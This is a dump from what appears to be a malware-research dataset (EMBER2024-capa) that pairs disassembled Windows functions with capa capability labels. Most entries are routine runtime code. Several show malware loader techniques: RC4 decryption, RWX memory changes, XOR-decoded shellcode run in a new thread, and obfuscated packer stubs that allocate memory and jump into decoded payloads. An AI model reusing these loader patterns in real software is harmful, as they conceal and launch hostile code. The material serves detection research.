joyce8/EMBER2024-capa huggingface dataset:
Function at 0x416bef
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x44a3f0]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x416c2f
cmp byte [ebx], 0xa
jne 0x416c2f
or byte [eax + edi + 0x28], 4
jmp 0x416c34
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x416d32
mov al, byte [edx]
cmp al, 0x1a
je 0x416d14
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x416c63
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x416c88
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x416c92
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x416c45
jmp 0x416d32
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x416d0f
cmp dword [ebp - 0xc], 0
je 0x416d0f
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x44a3f0]
test byte [eax + edi + 0x28], 0x48
je 0x416ce9
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x416cd4
mov byte [esi], dl
jmp 0x416ce5
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x44a3f0]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x416d32
cmp byte [ebp - 1], 0xa
jne 0x416cf8
cmp esi, ebx
jne 0x416cf8
mov byte [esi], 0xa
jmp 0x416d31
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041776f
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x416d32
mov byte [esi], 0xd
jmp 0x416d31
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x44a3f0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x416d2e
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x416d32
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x416d3b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x44a3f0]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x416d7e
cmp word [esi], dx
jne 0x416d7e
or byte [edi + eax + 0x28], 4
jmp 0x416d83
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x416ed6
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x416eb6
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x416dc5
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x416dfb
cmp eax, edx
jae 0x416e07
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x416d9d
jmp 0x416ed6
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x416eb2
cmp dword [ebp - 0x14], 0
je 0x416eb2
mov eax, dword [ebx*4 + 0x44a3f0]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x416e8a
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x416e53
mov word [esi], cx
jmp 0x416e86
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x44a3f0]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x44a3f0]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x44a3f0]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x416ed6
pop ebx
cmp word [ebp - 4], bx
jne 0x416e9b
cmp esi, dword [ebp + 0xc]
jne 0x416e9b
mov word [esi], bx
jmp 0x416ed3
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041776f
add esp, 0x10
cmp word [ebp - 4], bx
je 0x416ed6
push 0xd
jmp 0x416ecf
mov ecx, dword [ebx*4 + 0x44a3f0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x416ecd
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x416ed6
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x419cb9
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x419d56
push ebx
push esi
call fcn.00419c82
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00418907
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x419d03
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x419d55
push edi
push eax
call fcn.004127f3
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x419d23
call fcn.004127b9
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x419d54
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00418907
add esp, 0x20
test eax, eax
jne 0x419d42
push edi
call fcn.004127b9
jmp 0x419d4a
push ebx
call fcn.004127b9
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x420f60
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x420f8d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x420f8d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x422000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x214
mov eax, dword [0x42d040]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, 0x100
mov ecx, edi
xor edx, edx
mov byte [esp + ecx + 0x18], cl
push 0x16
mov eax, ecx
pop esi
div esi
mov al, byte [edx + 0x449580]
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, ebp
jl 0x422021
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x18]
movzx eax, byte [esp + esi + 0x118]
add eax, ebx
movzx ecx, dl
add ecx, eax
mov ebx, ecx
and ebx, 0x800000ff
jns 0x422069
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + ebx + 0x18], dl
cmp esi, ebp
jl 0x422044
mov ebp, edi
mov dword [esp + 0x14], edi
inc edi
and edi, 0x800000ff
jns 0x422091
dec edi
or edi, 0xffffff00
inc edi
mov bl, byte [esp + edi + 0x18]
movzx esi, bl
add ebp, esi
and ebp, 0x800000ff
jns 0x4220aa
dec ebp
or ebp, 0xffffff00
inc ebp
push ecx
call fcn.00401981
push eax
call fcn.00402d2f
mov al, byte [esp + ebp + 0x1c]
mov byte [esp + edi + 0x1c], al
mov byte [esp + ebp + 0x1c], bl
movzx eax, byte [esp + edi + 0x1c]
add eax, esi
pop ecx
mov ecx, dword [esp + 0x14]
movzx eax, al
mov al, byte [esp + eax + 0x18]
xor byte [ecx + 0x42dad0], al
inc ecx
mov dword [esp + 0x14], ecx
cmp ecx, 0x1b600
jl 0x422080
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405899
add esp, 0x214
ret
Function at 0x4222df
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x42d040]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
push edi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [esp + 0x18]
call fcn.00401abf
push 0xc
call fcn.004058ac
pop ecx
lea ecx, [esp + 0x14]
push ecx
mov ecx, eax
call fcn.00422101
mov ebx, 0x4ac
mov esi, dword [eax + 4]
lea eax, [esp + 0xc]
push eax
push 0x40
push ebx
shl esi, 2
push 0x4490d0
sub esi, 0x40
push 0xffffffffffffffff
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
xor edi, edi
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_GetUpdateRgn]
mov dword [esp + 0x10], esi
mov ecx, edi
mov al, byte [ecx + 0x4490d0]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [ecx + 0x4490d0], al
inc ecx
cmp ecx, ebx
jb 0x422356
push ecx
push ecx
call section..bss
pop ecx
pop ecx
lea eax, [esp + 0x10]
push eax
push edi
push 0x42dad0
push 0x449258
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x14]
call fcn.004023d0
mov ecx, dword [esp + 0x2c]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00405899
mov esp, ebp
pop ebp
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x475e2ac2
nop
nop
nop
test eax, eax
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x56762b63
nop
nop
nop
nop
test eax, eax
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e06c
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x1001a093
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x1001a0a2
pop dword [ebp - 0x34]
mov eax, 0x40a195c1
sub eax, 0x309ff51f
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x3f33b
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0x42e1
xor edi, edi
add edi, eax
mov ebx, 0xbbd025e3
sub ebx, 0xabcc67e3
add ebx, dword [ebp - 0x34]
mov edx, 0x403f21b3
add edx, 0xab186d63
sub dword [ebp - 0x24], ecx
mov esi, dword [ebx]
xor dword [ebp - 0x1c], 0x1b37172
add esi, edx
sub dword [ebp - 0x14], edx
mov dword [edi], esi
sub dword [ebp - 0x28], ebx
add edi, 4
add ebx, 4
loop 0x1001a0f8
add eax, 0xcfca3594
sub eax, 0xcfc9373d
mov ebx, eax
add eax, 0x5101c28f
add eax, 0xaefe3d76
mov ecx, 0x10000000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x100289d0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov eax, dword [0x100330b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10035b0c]
test dword [ebp + 8], eax
je 0x10028a7a
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x808]
push eax
call fcn.1001a093
xor eax, eax
add esp, 0xc
mov word [ebp - 8], ax
mov eax, dword [0x10035b08]
test eax, eax
je 0x10028a6d
lea ecx, [ebp - 0x808]
push ecx
push eax
call fcn.1001a093
mov eax, dword [0x100330ac]
pop ecx
pop ecx
test eax, eax
jle 0x10028a7a
push esi
mov esi, dword [0x10035b10]
push edi
mov edi, dword [0x10035b14]
cdq
push edx
push eax
push edi
push esi
call fcn.10029420
add esi, 1
mov dword [0x10035b10], esi
adc edi, 0
or eax, edx
mov dword [0x10035b14], edi
pop edi
pop esi
jne 0x10028a7a
push dword [0x10035b08]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
pop ecx
jmp 0x10028a7a
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10028d50
leave
ret
Function at 0x40595e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x40596d
pop dword [ebp - 0x20]
mov eax, 0xe58f2a31
add eax, 0x1ab12f3c
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xfd02a15b
sub dword [ebp - 0x30], 0xaeb05c10
mov dword [ebp - 0x2c], 0x71373124
add dword [ebp - 0x2c], 0xc0fc1b21
mov dword [ebp - 0x28], 0x7eab2c21
add dword [ebp - 0x28], 0xcda1180d
mov dword [ebp - 0x24], 0xd1f351f
sub dword [ebp - 0x24], 0xd1f351f
lea eax, [ebp - 0x30]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x28e7a465
sub dword [ebp - 0x30], 0xb4753b0f
mov dword [ebp - 0x2c], 0x7f4bf4e2
sub dword [ebp - 0x2c], 0x3ddf936d
mov dword [ebp - 0x28], 0x41dac229
sub dword [ebp - 0x28], 0xde6b55bd
mov dword [ebp - 0x24], 0xa8d57f1b
sub dword [ebp - 0x24], 0xa8d57f1b
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x957591a4
add eax, 0x6acadf5c
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x38f33
push 0
call eax
mov ecx, 0x8f8666f4
sub ecx, 0x8f861605
xor esi, esi
add esi, eax
mov edi, 0x4c0c409e
add edi, 0xb434bf62
add edi, dword [ebp - 0x20]
mov edx, 0xd7d7c031
mov ebx, dword [edi]
xor dword [ebp - 0x10], edx
sub ebx, edx
add dword [ebp - 0xc], ebx
mov dword [esi], ebx
mov dword [ebp - 0x18], 0x511653a2
add esi, 4
add edi, 0xd060702a
add edi, 0x2f9f8fda
loop 0x405a86
add eax, 0x9ed32102
sub eax, 0x9ed1ea73
mov ebx, eax
add eax, 5
mov ecx, 0x277f7b7c
add ecx, 0xd8c08484
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x10067acd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x10067adc
pop dword [ebp - 0x30]
mov eax, 0x2eab5da1
add eax, 0xe15b1d3b
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x43046
push 0
mov eax, 0x3e9b7eb5
add eax, 0xd16b8237
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0xdf446d22
sub ecx, 0xdf4422a7
xor ebx, ebx
add ebx, eax
mov esi, 0xd9aeb84a
add esi, 0x3669a3b6
add esi, dword [ebp - 0x30]
mov edx, 0x240637be
add edx, 0x9e6cfa56
xor dword [ebp - 0x2c], 0x22c3c433
mov edi, dword [esi]
add dword [ebp - 0x18], 0x8b24a7e1
add edi, edx
sub dword [ebp - 0x24], 0x990011f7
mov dword [ebx], edi
sub dword [ebp - 0x1c], 0x5dd31990
add ebx, 4
add esi, 4
loop 0x10067b3d
add eax, 0xb98ef044
sub eax, 0xb98dd385
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x550f3c2f
sub ecx, 0x450f3c2f
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x100696fd
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
cmp byte [esi + 0x2d], 0
jne 0x10069780
push ebx
mov ebx, dword [ebp + 0x10]
push edi
push 0
lea eax, [ebp + 0x10]
push eax
push ebx
push dword [ebp + 0xc]
push dword [esi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov edi, dword [ebp + 0x10]
cmp edi, ebx
je 0x1006974a
mov byte [esi + 0x2d], 0xff
test edi, edi
je 0x1006974a
cmp edi, ebx
jge 0x1006974a
mov eax, dword [ebp + 0xc]
mov ecx, ebx
sub ecx, edi
push ecx
add eax, edi
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
cmp dword [esi + 0x18], 0
je 0x1006977a
add dword [esi + 0x1c], ebx
cmp dword [esi + 0x1c], 0xffff
jle 0x1006977a
xor eax, eax
mov word [esi + 0x1e], ax
mov eax, dword [esi]
push esi
call dword [eax + 0x2c]
mov ecx, dword [esi + 0x18]
mov edx, dword [ecx]
push 1
push dword [esi + 0x20]
push eax
push ecx
call dword [edx + 0xc]
mov edi, dword [ebp + 0x10]
mov eax, edi
pop edi
pop ebx
jmp 0x10069792
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
pop esi
pop ebp
ret 0xc

Function at 0x10069a28
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x100b1980]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
mov edi, dword [ebp + 0xc]
cmp byte [0x1016c088], al
je 0x10069a5f
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x10069ac3
push 0x103
push eax
mov byte [ebp - 0x108], al
lea eax, [ebp - 0x107]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.10067acd
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.10067acd
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
push ebx
lea eax, [ebp - 0x108]
push eax
call fcn.10067acd
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1006e864
leave
ret 0x10
Function at 0x10069ad4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100b1980]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1016c088], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x10069b00
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x10069b31
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x10069b2f
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.10067acd
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x10069b31
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1006e864
leave
ret 8

Function at 0x10069bcc
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100b1980]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1016c088], 0
mov eax, dword [ebp + 8]
je 0x10069bf4
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x10069c0e
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.10067acd
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.1006e864
leave
ret 4

Function at 0x1006e864
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100b1980]
jne 0x1006e86e
repz ret
jmp fcn.1006ef63
Function at 0x405a3d
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push eax
and dword [eax + 0x24], 0
mov dword [eax], 0x3c
call dword [sym.imp.shell32.dll_ShellExecuteExW]
ret 4

Function at 0x405b23
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x405b32
pop dword [ebp - 0x10]
mov eax, 0x1643e4d9
sub eax, 0x160389a7
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xafa980a7
sub dword [ebp - 0x20], 0x61573b5c
mov dword [ebp - 0x1c], 0xa1a385e8
sub dword [ebp - 0x1c], 0x6f7039a3
mov dword [ebp - 0x18], 0x88cd1912
add dword [ebp - 0x18], 0xc37f2b1c
mov dword [ebp - 0x14], 0x1d016d4a
add dword [ebp - 0x14], 0xe2fe92b6
lea eax, [ebp - 0x20]
push eax
mov eax, 0xf0ed0270
add eax, 0xf537e08
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xf6355655
add dword [ebp - 0x20], 0x7e3d1301
mov dword [ebp - 0x1c], 0x9963e46a
add dword [ebp - 0x1c], 0xa8087d0b
mov dword [ebp - 0x18], 0x56b93055
sub dword [ebp - 0x18], 0xf349c3e9
mov dword [ebp - 0x14], 0xd8a74a50
sub dword [ebp - 0x14], 0xd8a74a50
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x35298
push 0
call eax
mov ecx, 0x14de2ab3
add ecx, 0xeb2215e9
xor edx, edx
add edx, eax
mov edi, 0x451400
add edi, dword [ebp - 0x10]
mov esi, 0x2f13d3a7
xor dword [ebp - 8], 0x57cf523f
mov ebx, dword [edi]
sub dword [ebp - 4], edx
xor ebx, esi
add dword [ebp - 8], ecx
mov dword [edx], ebx
sub dword [ebp - 0xc], 0xdab8b2b2
add edx, 0x73b26d58
sub edx, 0x73b26d54
add edi, 0x9bbd2b5f
sub edi, 0x9bbd2b5b
loop 0x405c45
add eax, 0x156ac6db
sub eax, 0x1569d198
xor ebx, ebx
add ebx, eax
add eax, 0xfc2c02ee
sub eax, 0xfc2c02e9
mov ecx, 0x962c8cf4
add ecx, 0x6a13730c
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x405dee
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x42fa70
push esi
call fcn.00406411
push esi
call fcn.00405d91
mov edi, eax
test edi, edi
jne 0x405e0f
xor eax, eax
jmp 0x405e67
push edi
call fcn.004066c0
test byte [0x434f1c], 0x80
je 0x405e2c
mov ax, word [edi]
test ax, ax
je 0x405e0b
cmp ax, 0x5c
je 0x405e0b
sub edi, esi
sar edi, 1
jmp 0x405e46
call fcn.0040676f
test eax, eax
je 0x405e40
test byte [eax], 0x10
je 0x405e0b
push esi
call fcn.00405d32
push esi
call sub.kernel32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x405e32
call fcn.00405ce6
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405ee2
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405f01
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4
Function at 0x68f42260
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x68f422bb
cmp byte [esi + ebx - 1], 0xa
je 0x68f4228f
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x68f43118], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x4090ed
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x120
mov eax, dword [0x4b34c4]
xor eax, esp
mov dword [esp + 0x11c], eax
push ebx
mov ebx, ecx
mov ecx, dword [esp + 0x128]
push ebp
push esi
xor ebp, ebp
mov dword [esp + 0x1c], ecx
mov eax, dword [ebx + 4]
or eax, 0x2001f
mov dword [esp + 0xc], ebp
push eax
push ecx
push dword [ebx]
lea ecx, [esp + 0x18]
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], ebp
call fcn.00474cc0
mov esi, eax
test esi, esi
jne 0x4091cc
lea eax, [esp + 0x20]
mov dword [esp + 0x18], 0x100
push eax
push ebp
push ebp
push ebp
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x3c]
push eax
push ebp
push dword [esp + 0x28]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
call ebp
test eax, eax
jne 0x4091a4
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x10]
call fcn.004090ed
mov esi, eax
test esi, esi
jne 0x4091cc
lea eax, [esp + 0x20]
mov dword [esp + 0x18], 0x100
push eax
push esi
push esi
push esi
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x3c]
push eax
push esi
push dword [esp + 0x28]
call ebp
test eax, eax
je 0x409169
jmp 0x4091a6
xor esi, esi
cmp dword [esp + 0xc], 0
je 0x4091bb
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0xc], esi
push dword [esp + 0x1c]
mov ecx, ebx
mov dword [esp + 0x14], esi
call fcn.0040899c
mov esi, eax
cmp dword [esp + 0xc], 0
je 0x4091dd
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x128]
mov eax, esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00450e68
add esp, 0x120
ret 4